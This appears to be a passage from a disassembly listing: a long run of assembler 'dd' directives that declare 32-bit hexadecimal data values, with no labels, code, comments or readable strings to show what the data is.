		dd 7FD86682h, 0A5F823D3h, 0EBAB02A1h, 0ACA3B982h, 4FB0F87Fh
		dd 20C3CD37h, 0DE9D2566h, 37447295h, 92EAF54Bh,	0EC7DDA43h
		dd 166067F7h, 125DA9C2h, 96AFD7Eh, 8B61BDF5h, 0D9C46E57h
		dd 48819C00h, 6CD383A9h, 125F9546h, 11DF1DFh, 0A4F8D291h
		dd 0D0C22A73h, 5F5B0208h, 1C6C8A7Eh, 91E29D41h,	50D3E57Dh
		dd 0FB00B422h, 6E1F889Fh, 0AAEBFE25h, 0F653FF94h, 4B2526F8h
		dd 0E3CDABA6h, 9FDE7F60h, 4544A994h, 81B51701h,	16A0A210h
		dd 6BEA366Dh, 461529E9h, 0E31A9018h, 529C1798h,	0D8741C65h
		dd 0BCBF6926h, 98C66C2Eh, 7EBA3C42h, 4ABF5850h,	1E15BC2Eh
		dd 0FFF43607h, 6E4419h,	0E2F58A48h, 367380EEh, 944ADE00h
		dd 791C9A1Fh, 49CC5C1Dh, 198AFB4Ah, 3E71E14Bh, 0EF93B5DBh
		dd 0E13A6640h, 220231Bh, 595DBBFBh, 10557D13h, 11C974Fh
		dd 848A2104h, 8E0212B1h, 295FEFEAh, 7D5A5509h, 31C7813Ch
		dd 8D293465h, 0BAFA902Eh, 7982190Fh, 0BEB300B7h, 0E09FA3F2h
		dd 0E85278B5h, 832C1D09h, 0D6F1873Ah, 855E251Eh, 61DB868Dh
		dd 5000ABE6h, 2DBB19B7h, 0F656FB61h, 7C260EC1h,	0F6C11BBAh
		dd 416FDE0Ah, 88520FEBh, 306140h, 0B3EF815Eh, 4D5B0390h
		dd 0A1219AB0h, 19A7AF5Dh, 8A1D09E1h, 0BB01EA19h, 5B2C8B4Fh
		dd 91B582ADh, 71FF12BDh, 0BCFE80B4h, 0E95EDA20h, 0F7ADA3BCh
		dd 67F8B680h, 609544C2h, 3998102Ch, 4D92CEEFh, 0F3A00228h
		dd 0A7F073E9h, 0A915390Fh, 53007DB6h, 0D01BE089h, 837200A7h
		dd 362662D2h, 0C400302Bh, 0A52D877Ch, 1DA0B0C2h, 0ED6A20Eh
		dd 720CA53h, 4502E9Eh, 0ABC67F0Ch, 0C0CE081Ch, 9E0FE921h
		dd 6000137h, 0A1940D60h, 0C0DA815Ch, 0A32ACAC0h, 101413Dh
		dd 0F8FCC4D9h, 6CE05AB9h, 467E85h, 89C611D2h, 0A4DC9B8Eh
		dd 0AA20C963h, 1960068Ah, 28626554h, 0B09820C8h, 2B205359h
		dd 0C6BB1318h, 182EA11h, 97430B9Fh, 984B5F7Ch, 0A21F609h
		dd 309F129Bh, 52C500FDh, 0B84BE494h, 0E032C23Fh, 88E12AD0h
		dd 7FC0009Bh, 616D6A75h, 0F93D7DA0h, 0D04780C5h, 33FE98D5h
		dd 0C868D95Bh, 0CC23076Fh, 98A16444h, 9F806011h, 87432309h
		dd 800F311h, 7E19F99h, 72003655h, 0A0E3DDFAh, 15A22B21h
		dd 9CDF18CCh, 0AFB76B00h, 0F8D1EE27h, 0BE7A540Eh, 0FA568060h
		dd 3B3F21h, 6E85406Fh, 1963E2E5h, 386420E9h, 0F2174D00h
		dd 87B6A182h, 1309CC9Bh, 55005821h, 8A898017h, 3CC127Eh
		dd 36BF211Ah, 5087ABFAh, 560AA3Ah, 0F25E5300h, 0A8491EC4h
		dd 4E9C00E3h, 0CCE51BEBh, 0FD72578Bh, 0B2F018E8h, 0D0D8EC2Ch
		dd 0E1241E00h, 0E827C7D5h, 0E921C1B8h, 0FC7CD8F4h, 16198311h
		dd 6B50D9B5h, 4DE43761h, 0A1186085h, 0B5D12E01h, 575320C2h
		dd 0F9E82C73h, 1746048Ch, 627982EFh, 4E47201Fh,	0B9003817h
		dd 40FF21E4h, 787A5693h, 7391932h, 0D763F026h, 6D1E3100h
		dd 1AF8EA4Ch, 1F5B3039h, 0E561ED20h, 0B37530Ch,	818899h
		dd 0C4964F25h, 0A875A4D0h, 8745313Bh, 6A03ED47h, 3AEE59A0h
		dd 252F0014h, 0B42CA6CCh, 0FB03A323h, 663EAB13h, 2A5EC07Eh
		dd 0FFA83CB6h, 0EBF11500h, 22D0DA3Ah, 1DE98600h, 3C298EBBh
		dd 23DC0039h, 0E8715A0Eh, 0D300FECCh, 5D059991h, 1F31E23Fh
		dd 0C07587A7h, 959CCEBAh, 0C301302Fh, 0DB376B3Eh, 0A6F87BC8h
		dd 1DF000A0h, 94056167h
		dd 1C0082C9h, 8EDB211Bh, 3C6A39DFh, 87001E0Ch, 30634D47h
		dd 0A604361Fh, 18FFD661h, 0BF248C0h, 70DCC70Dh,	0C7D4909Bh
		dd 9C042ECCh, 0AE88751h, 7E5411C0h, 15E21CAAh, 700940F9h
		dd 34C964CFh, 0FF04A700h, 0E90CFBD6h, 0E5C800DEh, 219C91DBh
		dd 130080AAh, 235412C3h, 640D9Bh, 0C84E2992h, 191A2A4Bh
		dd 6D64403h, 80CE7C61h,	3C897E67h, 28004303h, 1DB5A2F4h
		dd 0FE003F58h, 9B1B6ECFh, 0F0E7804Ah, 88300E5Bh, 0EF434D27h
		dd 0BEF1520Ch, 0F8F12014h, 72AD7A1Fh, 772D2EC0h, 3D166CDh
		dd 0D6BF12A3h, 0E6C822E9h, 9D00FAF2h, 0A7D26EE3h, 0DB2C2Eh
		dd 0DA1E47F7h, 0F152DD4Ah, 5387A8A0h, 15C21201h, 2768B4C7h
		dd 0D95FF4h, 0F07663FCh, 92DF9A96h, 4F9B71Dh, 0B1AA5907h
		dd 0DAF41380h, 7F37034Eh, 1FA9DD4Bh, 55905100h,	991453BCh
		dd 2AC7070Ch, 0A3931531h, 94F8C497h, 49138806h,	4F0035B8h
		dd 0BDB93358h, 537F03BCh, 36990EFh, 0C872A191h,	0D639ACC3h
		dd 0D7398504h, 0D830F9BDh, 2EB0199Eh, 24D306DFh, 1AB5002Bh
		dd 0C2C8F545h, 0FF0BC4A0h, 69763Eh, 282E85CDh, 5B5504h
		dd 4BA07739h, 0BF415264h, 47EFE900h, 48A6FB54h,	0E1AA0046h
		dd 0A435F812h, 0BB00DEF9h, 31D4C7C8h, 18EB1Eh, 62D3263Eh
		dd 5D5538B4h, 0C4233B00h, 4D9BCBBh, 83D43EB1h, 7F59DB80h
		dd 3301764h, 5EA6F200h,	76571C87h, 0CB10049h, 662CFB1Dh
		dd 35EC08DEh, 6200D372h, 931A70Bh, 0F3B690Ah, 41731CE7h
		dd 5DED5221h, 0A119C457h, 0DFEBCA00h, 5C228133h, 0A4772E04h
		dd 0E93D0124h, 4735E065h, 402104F4h, 5EBF5505h,	88563B17h
		dd 75E0EE00h, 6E1E347Bh, 9DE0D4E2h, 9162180Ch, 0E99804h
		dd 0DFF3024Ah, 0EF3A3077h, 50216801h, 0A3D9D813h, 1A62C20h
		dd 8DBAAD69h, 801C6095h, 0D48A0238h, 0CFE9FE8h,	203DE0B6h
		dd 0E1001BF8h, 2B2580CCh, 2EBB29h, 3E7E468Eh, 0D00D36ADh
		dd 2D510E07h, 248566C3h, 4ED82580h, 0B4EA0F74h,	0FD2041E1h
		dd 0FF92EF91h, 0F1FB5206h, 188EB35h, 739EDFE0h,	70C8338Ah
		dd 5D0316F6h, 23444A86h, 43981674h, 5A6A004Bh, 5B5C20Fh
		dd 70E1362Fh, 0EC56FEFDh, 4BBF0097h, 0FFA29135h, 0AF0E7273h
		dd 1E420AB1h, 0A8447EC7h, 0FE5E6E90h, 0C0A90045h, 6213ACEh
		dd 8C7434F6h, 12923D38h, 0DDF0FE26h, 0EFF8F0h, 0BF72A524h
		dd 6C273858h, 1D5C4000h, 1FE6CC60h, 0CDCCA8CEh,	0E7080090h
		dd 0EA9C802Ch, 7E00223Bh, 597B67B4h, 4E131h, 239706A9h
		dd 4275CAEDh, 4438FA02h, 0C2C924F6h, 0CCB4008Dh, 0FE83BCBEh
		dd 9DCB00C8h, 86AA4962h, 901F2FCEh, 6980E2E6h, 0B4F70F68h
		dd 0BBD79DAh, 1CDB0834h, 0EE4ED581h, 0F760E4F4h, 67821800h
		dd 2DA2B571h, 13D97539h, 1833EE1Eh, 4B461A50h, 36D46324h
		dd 29AF7300h, 777C9F51h, 52E714EEh, 3C9CA8A4h, 0DF5400C3h
		dd 0CD20523Dh, 6E385C2Dh, 0BF60D72Fh, 0B300928Ah, 91B918FDh
		dd 0B2BE741h, 0D2069709h, 32390420h, 0A318947Ch, 0B858BEC0h
		dd 0F410E01h, 0C0DDCC26h, 0B4AD9219h, 6C096887h, 21318278h
		dd 5B6D49B8h, 108036C5h, 0A27026ACh, 8B04A081h,	3287037Ah
		dd 13CBE4C0h, 4187A36h,	0EF1B2405h, 15F0D02Ah, 0E1243D41h
		dd 25806C81h, 0E4D659F2h, 0A519005Eh, 0FBB18BD4h, 5CF02E2Fh
		dd 0F5548802h, 0E043DDB6h, 4BCAD03h, 85A318B7h,	951C8391h
		dd 11031D98h, 7A05E007h, 0AE22315Ah, 555260B9h,	56950154h
		dd 444CDFDh, 182C209Ah,	47AEBE00h, 5EA59B06h, 0F14E0142h
		dd 0F8F66AE0h, 0B9D8EEB6h, 0EBD71200h, 0E1FA9493h, 39A002Ch
		dd 5BE7540h, 0F600EFE8h, 55AB024Fh, 9F132Eh, 277E9507h
		dd 0C39BC9B2h, 3F419600h, 0FBC58573h, 0F7F5005Eh, 575C1037h
		dd 45025055h, 705619D3h, 0BE5A608Ch, 2E9B00A5h,	4AAF7941h
		dd 460209DFh, 0BC048901h, 7C63E095h, 5BF201F3h,	0E3DA3718h
		dd 0FF40F533h, 0A11B9015h, 95D105B4h, 0E600A4D6h, 0D465F1ECh
		dd 36B50024h, 2E5D7463h, 0CA0040F8h, 8962471Eh,	0CED706h
		dd 0AF11BFC4h, 10A1D37Ch, 48D8B500h, 0C1DDB0A9h, 12E31DABh
		dd 14A7C087h, 67080F81h, 7FD20B64h, 987CD6C0h, 60033A12h
		dd 29F84F83h, 4EE868DBh, 0ECB00AD8h, 0E3B88807h, 0A9A04A0Ch
		dd 1C0398h, 0CA3805EDh,	68A1C03Ah, 2DCE7360h, 28EAD940h
		dd 16F2C24Eh, 40990DA2h, 0E7F5B8B4h, 0C424DA0Bh, 0B7876C92h
		dd 0C96036E4h, 98B824Ch, 617FC0A6h, 0AF375C00h,	0D1354A7h
		dd 1FAFCD25h, 28B7C208h, 85C0F86Eh, 231CFB76h, 0AA8077D0h
		dd 0A5ED7CD9h, 0F64900CEh, 0E047C033h, 9300CC5Bh, 8DF251ECh
		dd 48B3F4F9h, 9207644Fh, 40D1A34Ah, 1FA105C3h, 9C00289Ah
		dd 67E582CBh, 7497FB3Dh, 6F869017h, 181B2016h, 0C48191C0h
		dd 20998F31h, 2050A002h, 679782C2h, 4460187Fh, 9A1B075Dh
		dd 0A81F7800h, 92E083h,	13210DE6h, 7F308499h, 249A52h
		dd 0C7A32D18h, 3E831A9Ch, 98004B77h, 8110B86Dh,	22004336h
		dd 0E6EE9560h, 0E93DAEAh, 4CA4AF7Ah, 1C654983h,	977C8488h
		dd 0CB06BD00h, 62D4159Bh, 0E4163BBAh, 834A2000h, 787F4326h
		dd 1E712503h, 0A077F6D6h, 16FCE8AEh, 2BD0D4h, 89225932h
		dd 0D70E27A0h, 40633D30h, 26A50FA2h, 4BCC034Ah,	5F1107DCh
		dd 0C930C0EDh, 0A900B7EFh, 32DAE4AAh, 24FBD3FCh, 0E96E72h
		dd 0B663FF03h, 38030E7Fh, 14EF7C1Eh, 0F283A908h, 23992E8h
		dd 0D665CEF6h, 2368A40Bh, 195C8F47h, 0A11004Dh,	38D3992Fh
		dd 0D5890707h, 27A1CD69h, 3AB880B5h, 332AEA13h,	60FBC24h
		dd 207434AFh, 9776BB3Fh, 49BA0522h, 0D01A6A07h,	53173818h
		dd 0E9247405h, 66C037BBh, 0DE686Ch, 783D964Dh, 9FF9EC6Bh
		dd 0EEF3D018h, 92E9C958h, 525D0064h, 0D1A72A0Dh, 37006835h
		dd 0EB4A64B7h, 7C822EA9h, 0BA43C9Fh, 0B4B10BF4h, 60835541h
		dd 0A1C01D83h, 94748F45h, 7BD37703h, 0C0C2ED4Fh, 3E6C020Fh
		dd 0C98FCFE8h, 0A2007CAAh, 9FDD89D2h, 0F916DB01h, 8DC812B0h
		dd 87F28980h, 0E729B577h, 7140195Ch, 85AB6818h,	184B3021h
		dd 60945AE8h, 9624D117h, 77004C22h, 7544261Dh, 24697E52h
		dd 80441C9Bh, 9F5FABB1h, 1F02FD02h, 0E26186Dh, 649CA11Dh
		dd 0C623E32h, 499F0D00h, 0A160ED6h, 0E194A00Ch,	60324917h
		dd 2C54295Eh, 771F79A7h, 0B03A1EDFh, 0FC6F5884h, 2DAE0006h
		dd 22D26BEAh, 0F726F115h, 0C9004481h, 5BF56998h, 0A57700BEh
		dd 12CF4C9Dh, 18784F0Dh, 1BB5E000h, 0C265809Bh,	620E387Ah
		dd 0E7A01107h, 0E1863987h, 0D87D18E1h, 3B667C0Fh, 17DE9E0h
		dd 35F92A8Bh, 0C058B0E3h, 0C428D0CCh, 4C30734Ch, 0D3D18860h
		dd 54D7DE00h, 5280AE08h, 0E53007Fh, 0E4ABFD9Fh,	5D188328h
		dd 0D3064D4h, 28E264B5h, 0D66F2122h, 8D2670h, 524FFD5Dh
		dd 0E0340D6Eh, 5E4D2C06h, 86D10A84h, 0C004EC1Ch, 0D9FD6519h
		dd 980D0562h, 98F5E036h, 0B0A010C6h, 0C0D2E17Ch, 85218686h
		dd 1BB3425Ch, 51616000h, 366700FCh, 0E389B2EBh,	34304D04h
		dd 584F2019h, 8F8D3918h, 180308Ch, 430106F0h, 5498B1A3h
		dd 0B1800C83h, 0D0D57B04h, 7D07D325h, 9CF75561h, 0CBFA9740h
		dd 8351C6E0h, 48073159h, 0A3999E2Ah, 49655EC0h,	0C118C106h
		dd 0D613170Ah, 35D80140h, 79168030h, 2C0C6DBh, 9A1EAFA3h
		dd 0A082534Bh, 0D8235758h, 8087EA6Ah, 43908D98h, 92AD00C2h
		dd 0B4FC61Fh, 7571E57Ch
		dd 56A0D201h, 47675FF4h, 10B37982h, 24847A48h, 760C40C1h
		dd 35B8ED2h, 0AC3B14B2h, 0FDA078h, 0AFDBDABCh, 0CB54C980h
		dd 0BB18BAC4h, 50F035E5h, 9E990A54h, 1CBC22C0h,	0F5DEC30Dh
		dd 8A89DBFAh, 0A5C0800Ah, 27FED1B4h, 6F5424D4h,	8FE6007Ah
		dd 1FE3065Dh, 0C98AED06h, 76203F25h, 9F3E0A18h,	70208D09h
		dd 8CE358h, 0B1ACCDAFh,	4FBAD401h, 22A09660h, 30D167D6h
		dd 1190E27Fh, 0D7614C78h, 6D6FB1C8h, 9E6CF08Eh,	15C0244Ch
		dd 0D9ED5306h, 15785267h, 0EC04D236h, 0A24A0800h, 3F2BBAD3h
		dd 20DE7490h, 0E304F611h, 932570D6h, 39068640h,	971BBADAh
		dd 0E37890h, 0B2571876h, 0C3D66A1Ch, 5D8EC503h,	3C835FFh
		dd 0D44BF149h, 40D7D59Ch, 0BEFBBA69h, 0B9DC4701h, 72FD6BAEh
		dd 896DF180h, 8135DBD1h, 48780249h, 0D5E7091Ch,	6FDC2050h
		dd 0F2A3941Eh, 1390C17h, 2B0827CCh, 368D21C1h, 6C710794h
		dd 73A7CE0h, 0B0EBF3Bh,	0AEFEF386h, 0D0365CA0h,	0B1A13F60h
		dd 1A94B32h, 848CFB33h,	210B57E7h, 20ACDF8h, 809E61CFh
		dd 50E8422h, 0DA2013A5h, 220470C1h, 9B3C09C9h, 1263F904h
		dd 2DDBBD8h, 0C83FB48Dh, 88680BD4h, 50414B3h, 3BA8C522h
		dd 5CAD483h, 0B26ADAF1h, 25B003E1h, 6EF74A85h, 6488BA4Ah
		dd 941F60E6h, 8C0FF2B8h, 179010E7h, 0D1AF0094h,	0B17058DCh
		dd 0F19CD86h, 8E78414Fh, 9BAF2980h, 0CB35C073h,	224C8CA8h
		dd 57B90500h, 0CE5A94BDh, 0E9FCB1h, 19792569h, 4D607A26h
		dd 4F5340C1h, 98577D12h, 0D966ED80h, 80B401C0h,	908C59C7h
		dd 8030D1E4h, 0D99ECF21h, 60352231h, 9DC871E2h,	0B13CEEECh
		dd 1B4C1CE0h, 49C9B242h, 98944A35h, 35D9B430h, 6182D1Ah
		dd 0C921D520h, 8F9FFC00h, 0AB32ACC9h, 0CE9C007Ah, 94FDDD1Ah
		dd 23011E9Ah, 6BA3DE30h, 7820E567h, 125740CBh, 0BC10DA09h
		dd 64A800C9h, 0FA242202h, 0AED4A068h, 2A0C923Ah, 18F46067h
		dd 795FD446h, 1700708Dh, 69478BCh, 73D13533h, 0A4FC50EFh
		dd 24E0085h, 0C882A61Eh, 9CA734D9h, 0D5603FE4h,	2497116h
		dd 89488C20h, 6B6C02B1h, 7D19848Dh, 0A4287440h,	24A66180h
		dd 28E87130h, 5B733EB8h, 0D6C80F05h, 0B2A490F8h, 11500ED9h
		dd 883083ACh, 8E30780Ch, 461D24Eh, 1E13700h, 0F66588ACh
		dd 1AC99840h, 890C02A2h, 34FBA501h, 0F8003464h,	63654AFFh
		dd 3350E1E9h, 0D508199Bh, 0E746210Fh, 387C74Ah,	1F00828Bh
		dd 4FFB0744h, 7DA58D80h, 29059ECCh, 0D60C7F46h,	8704C892h
		dd 80888150h, 7EAC05AFh, 61C0EF34h, 24D38AD1h, 40A200E7h
		dd 0B37933D0h, 25143B95h, 228034C5h, 36C881B5h,	0D9046218h
		dd 0E460B4FCh, 3101F933h, 0A0D99ACBh, 0F8E03E89h, 0A3E7097Dh
		dd 4810D4C5h, 0B1074DBEh, 49A62A8Fh, 0BD878079h, 0AD77A3h
		dd 59350709h, 73CC9FEDh, 305A5624h, 0AC0F6211h,	5880CF7Dh
		dd 53845FFAh, 26BA19DEh, 0A2C04862h, 46DA1C13h,	72D22B9h
		dd 8E13FA14h, 59BE22EAh, 0C1BDDC82h, 68080009h,	1E097912h
		dd 0D2A1B2E8h, 13000410h, 331481C0h, 9813C3B0h,	883E0DDCh
		dd 5F022823h, 0C087EFB6h, 82575450h, 0F8E55487h, 81A52F08h
		dd 0B6A1946Ch, 7488A80Eh, 0FD5B850Ch, 8B33283Bh, 98FF44FFh
		dd 4A08C334h, 0C4C96369h, 0EB2240D3h, 14574Ah, 0A97AD932h
		dd 0EEA87834h, 0B46084A2h, 84B0356Bh, 0F0ABC4FCh, 514AA0B9h
		dd 49A2B088h, 0CF45D8CCh, 2A3438C5h, 0B87C4854h, 54008CD1h
		dd 0FFC88FBEh, 29FE7756h, 0D97019C4h, 702118D0h, 1DF7A38h
		dd 0E366D6Ch, 2F1CF218h, 0E1A7B0h, 8CD7FFCBh, 0A79E6A83h
		dd 5D8D8601h, 0D4E5D988h, 39E807F7h, 6170AEF0h,	7ED4580h
		dd 0D497AD20h, 5B2B0053h, 9884177Dh, 77039401h,	0C9C1884Bh
		dd 6F400622h, 58D3EAAEh, 8438E4B0h, 4702007Ah, 89CDD0EDh
		dd 3C324C53h, 50A1D911h, 7F8C09BCh, 0B4C1116Bh,	80E28868h
		dd 1DD963CAh, 98044947h, 0DFD41E34h, 0D1ED6C81h, 0FCB2D800h
		dd 854C84Dh, 0AF83DB0h,	0A89807C7h, 7813F22Ch, 0BA2F2EE8h
		dd 25465E34h, 0DABB313Bh, 10744700h, 0AEC2CD46h, 0BD02E4E8h
		dd 344DB1F3h, 0DC4C20E1h, 4B02EC6Ch, 0A0B2A7C9h, 96B04097h
		dd 0D3D925EBh, 0F2884437h, 2E934802h, 20847E44h, 20E37F23h
		dd 11546CCh, 0B4C5C4AFh, 0F80CC788h, 67CE88h, 9CA369D9h
		dd 527EF77Fh, 0DB4D6804h, 28B4ED32h, 16E50051h,	765670D4h
		dd 1807091Fh, 0B361BDFCh, 78FC6C67h, 69048C17h,	0B8B4C3D9h
		dd 0C020F962h, 2ED961h,	4D31F4C1h, 760F15D0h, 6A09AC7Bh
		dd 633680EBh, 95100BCh,	0EE16DA17h, 88EAE5ACh, 0E8D65924h
		dd 5D00CB91h, 0FCFDC53Dh, 0BA00B345h, 0DD1B6583h, 555ED37h
		dd 20DBA0DAh, 41D00972h, 981D2CC2h, 5B80E211h, 958F7A38h
		dd 0C6E1111Dh, 0AF413A98h, 9351250Dh, 0FF2461F0h, 4600E2D9h
		dd 0C4A97084h, 45660282h, 0F8FD8098h, 148470ABh, 941061F5h
		dd 3127CAF7h, 88F1026h,	839D0094h, 0C1060485h, 0C9028EDh
		dd 0FD464490h, 674A087Dh, 0F4C41963h, 4AF55840h, 440F6C3Ch
		dd 83EBDBAFh, 5DF9D1B0h, 0AFB8E8A0h, 662DEF00h,	0DF2519A6h
		dd 5AD51FE4h, 26D8A642h, 524E0348h, 10060912h, 0F73A4DACh
		dd 857400BEh, 0C0B5F37h, 0E700B1F1h, 93D7A73Dh,	16AC7Dh
		dd 3EEB3BDFh, 8C3CE1C0h, 22644300h, 9F5975CFh, 0F848079Dh
		dd 0F7E04BCEh, 9EF280CBh, 2F1E49B0h, 3AD0C0h, 0C8481EF7h
		dd 72D31Dh, 0A08EAC96h,	22251F5Ch, 0E61A3001h, 0B09C5A69h
		dd 8CC4AED9h, 0F3FC0C7Ah, 0FA28A3CFh, 159D9300h, 35E72E14h
		dd 41A21EA6h, 461CC380h, 3000944Bh, 0B05AE91Dh,	3B525CC8h
		dd 0C33010C5h, 7BADAC90h, 2C1ED601h, 95C8995Dh,	9A36A981h
		dd 0C4F46B65h, 210038F5h, 0BF2A596Eh, 3004E89Bh, 1358F808h
		dd 55004D6Fh, 79D7B590h, 1E377BB9h, 804414E5h, 0C38A8B93h
		dd 35FCCA49h, 0F9A9A700h, 0A23DDC09h, 427D009Ch, 4013DAF0h
		dd 2930B7F4h, 8E1C8197h, 0C0A963C3h, 0B10FB635h, 227286CCh
		dd 0E07802EEh, 3DF4389h, 0F442C874h, 9E80AEE7h,	93120DB1h
		dd 0EAD801h, 1D60D3A0h,	200F144h, 8EE45E7h, 122DA83h, 0C5D1BDB2h
		dd 0BE88621Ch, 2044B008h, 0F622D2A2h, 0C0DA386Dh, 41193730h
		dd 0BE1D06EAh, 9DCBB767h, 49C40010h, 88E604h, 6D4522D6h
		dd 0CC0579E2h, 0A7003BE4h, 0BA319684h, 306024h,	0E3081ACAh
		dd 0A9493F45h, 12394B3Eh, 0D4030E38h, 0D8068D9Ah, 7D2C45E2h
		dd 0F757140Bh, 0C7369FA5h, 0E3008950h, 0CE7B00Ah, 180B1B6Dh
		dd 20306629h, 0B318E0F2h, 6529499Ah, 43A10083h,	0E7C16D0Dh
		dd 0FE74A4C2h, 0CC219D60h, 25A196h, 0CB68D107h,	0F47B58Ah
		dd 89E558C1h, 0AF07C1BEh, 6A84E383h, 0D6E282E0h, 0C81C3930h
		dd 73CEE8EEh, 1E971F08h, 0A68D8768h, 21B84F69h,	830F621h
		dd 0D8B2828Bh, 60516147h, 0E0F923A8h, 0A50316D3h, 1FE00D5Fh
		dd 8400BD9Ch, 769F4ABFh, 24E30010h, 0C1EDCCA7h,	9C006FB1h
		dd 521B623Bh, 6C256Ah, 0FCB0B40Bh, 93D12098h, 0E600CA71h
		dd 0B52E5299h, 26A4AAFh, 0C122A873h, 0E1C03D09h, 3000B3C6h
		dd 94CE5271h, 5E26F6h, 8ADCAF47h, 557FFBE8h, 809FFA3Bh
		dd 6F65F967h, 0E86E7E34h, 0C5DF0002h, 2F4EE6A1h, 0D90124E2h
		dd 12EA4826h, 0BD21CBBEh, 0A59ECC86h, 4500906Eh, 0AA105EA1h
		dd 30A728h, 791C38CCh, 6CB040F5h, 0BF488095h, 0CB0B76h
		dd 15F66B9Fh
		dd 12ADEDBCh, 40E89300h, 0D37278E6h, 98A028B4h,	5A5F0FECh
		dd 7F80E7A6h, 8516442Ch, 5810FB6Ch, 0EF88003Fh,	2311FF32h
		dd 1F609F91h, 7809E618h, 0DAB00D1h, 35F64363h, 7F00D45Ah
		dd 0EBB7251Bh, 1875E6h,	541A1D51h, 0D89B9596h, 7211FD00h
		dd 9D07D370h, 22997C31h, 4807E82Bh, 96CA6054h, 910BADE1h
		dd 310F9A00h, 51C1C8D9h, 0A0E7EC4h, 0B1201682h,	24B9000Ch
		dd 6A19DCCDh, 109F6107h, 53139DC4h, 0B3481C93h,	67B98090h
		dd 5A21241h, 0B815400Ch, 303A41D2h, 1F8E493h, 0E3009555h
		dd 0BDDB2EDAh, 15189B5h, 0AA940C8Ch, 50037BF9h,	0C828FCBCh
		dd 85A7C000h, 124717C9h, 29E8C03Ah, 0F0A54002h,	366FCC00h
		dd 0C8F2D7B2h, 23590081h, 0C4DE3BA0h, 8C004824h, 3797FD92h
		dd 747C072Bh, 77F700ECh, 0ACB543CCh, 1A196F96h,	36097150h
		dd 1B2C2181h, 0C05928B5h, 0F200E2E0h, 655CF4Dh,	0DFEBC57h
		dd 49CE1BF1h, 0EA24E851h, 5DD73D03h, 32EEFA4Fh,	0B7216209h
		dd 8AFB4B60h, 0F30013E4h, 0F9728467h, 3FC97AAh,	2EB943E9h
		dd 0AFF0558Fh, 38C06F80h, 6E267A74h, 96B70ED0h,	0B6879184h
		dd 2DC0B02Eh, 5503CDD1h, 0D978D6ECh, 0E86873F1h, 44CA41Ah
		dd 0D73CEA27h, 22646235h, 97607C88h, 0CB07A3C5h, 0AE4BFF9Ah
		dd 286777B1h, 2B028440h, 49CAC0Eh, 96ADB546h, 2EE96267h
		dd 0CB51E60h, 2AC02E4Ah, 94255296h, 0FA300103h,	6A8111C7h
		dd 5488D017h, 4F1DF401h, 0DE85C06Fh, 28F3D080h,	5123B033h
		dd 0CCAC2418h, 296CAF38h, 0D1BC11EBh, 30CE1863h, 66A1F07Ch
		dd 0A80078BBh, 0BD05B66Fh, 36C825Fh, 33B48C3Eh,	11F872B1h
		dd 4614E877h, 1080516Dh, 59C07FC9h, 0BF96AAB5h,	2D221B43h
		dd 0B5112600h, 6FE374Dh, 139419F2h, 1858B8A2h, 36EA0829h
		dd 6FC4A5D7h, 0EA7EAE40h, 270E6392h, 66D71C52h,	9812BCh
		dd 16647481h, 9CD3F3E6h, 24A49788h, 1E246AADh, 19EB59F6h
		dd 7855F099h, 3F2C7A80h, 0C7BCB516h, 0EC202A30h, 9003E4Bh
		dd 0B03B5029h, 0CC38A8EDh, 6B210308h, 0F0090600h, 6EBDA94Bh
		dd 0F0197CABh, 0D16C60ACh, 784C2774h, 94243B7Bh, 0F44468h
		dd 0E2E1D1A4h, 0ED9679Eh, 0D4765407h, 587AF7B2h, 27093C40h
		dd 0B3CB2150h, 6D0E8091h, 740008C4h, 549E40AEh,	0FCDE5603h
		dd 0D0C9DD53h, 0CE78CC2Dh, 0C4016D79h, 0D01992DCh, 2A004130h
		dd 0C6EEC79Fh, 0C892E5Bh, 8679D694h, 0FBB0D231h, 0A3C43350h
		dd 0A60071DFh, 0BB966E0Fh, 74D40A25h, 5EF8F357h, 1D286146h
		dd 0CD4203CDh, 5528886h, 8041EFEAh, 6FBDDCD2h, 54E87F0Eh
		dd 997876Dh, 0AA48CFC0h, 141FFA02h, 0F46781ACh,	0AE1D1200h
		dd 0E81EF531h, 0C9AD9B00h, 0BB2C2FA8h, 25553ADBh, 0D0409936h
		dd 58C073E4h, 0B6C9B172h, 356A072Ch, 0F0C6EB97h, 55CC1962h
		dd 9C5C990Ch, 13E4605Ah, 4CC51Ah, 6AEA9788h, 573C65D0h
		dd 300C0ACEh, 3B808CEFh, 62B99C8Fh, 0B8301D6h, 0D4E2F450h
		dd 8A045A2h, 1C0A444h, 7E504009h, 0DF208623h, 0C96E01F4h
		dd 67D62608h, 0D5ACFC36h, 83905662h, 4D8060EBh,	33411849h
		dd 0A71781F6h, 6CC1AC00h, 742FCD9Dh, 0FF08CC95h, 0ACEA3421h
		dd 1B822501h, 0D1F17C08h, 0E5139C26h, 0BB81667h, 2D9E19h
		dd 0E28C2338h, 9B06303Bh, 0F429790Eh, 84A94A52h, 7C25E602h
		dd 1EF4853Fh, 3CCE40C3h, 0A9603318h, 0A04E661Ch, 0DB6C7B03h
		dd 7A647C53h, 5D200A31h, 2084AB74h, 26D4680h, 6F45ACA3h
		dd 0D6CE31FDh, 0ACDB3800h, 3F6D0C5Bh, 23403CF1h, 7BE05D18h
		dd 7E097250h, 0F56E0BB4h, 2E899D13h, 0AE83D600h, 35007179h
		dd 8D7B175h, 6084F4h, 0BA78F37Dh, 34EE4E2Eh, 0EC590D17h
		dd 8815AD06h, 61048F11h, 8033654Eh, 98DE8910h, 244331B1h
		dd 903A7h, 0D7E4E7E0h, 0A5006C71h, 4224A39h, 1F2F0779h
		dd 4005417Eh, 3E669F64h, 0CD0EAB8Bh, 80121B0Eh,	5528BF42h
		dd 90F307C0h, 20509535h, 5C3B9F20h, 0C265F90Eh,	2F67A0CAh
		dd 5DA5C4h, 0C189020Dh,	0DC05434Eh, 1C916B00h, 2DD966C0h
		dd 53E300D3h, 0C18785F0h, 3EC05CB3h, 11C43ABEh,	7CC200D5h
		dd 5828D773h, 42003F4Ah, 0A2B931Eh, 1684DFh, 6D1B4BC9h
		dd 8A838DC5h, 0E4585B00h, 3438DD05h, 7E2C1CB3h,	20FA80C8h
		dd 0F4F1240Ch, 56009E7Ch, 16781264h, 0EA8557h, 0D1EBDE90h
		dd 54F3C11Ch, 0DDEDFD0Fh, 0EAFC0E9h, 6C44196h, 10096D03h
		dd 0C3008055h, 0D47DBBEBh, 725AF53h, 0DD17043Ch, 0DFC18065h
		dd 6C00A238h, 7B9AFFA7h, 0C3D0523h, 69A30FDCh, 7C003278h
		dd 0C9E25398h, 29A24Fh,	0F1843801h, 0E97EE5DFh,	2844B00Ah
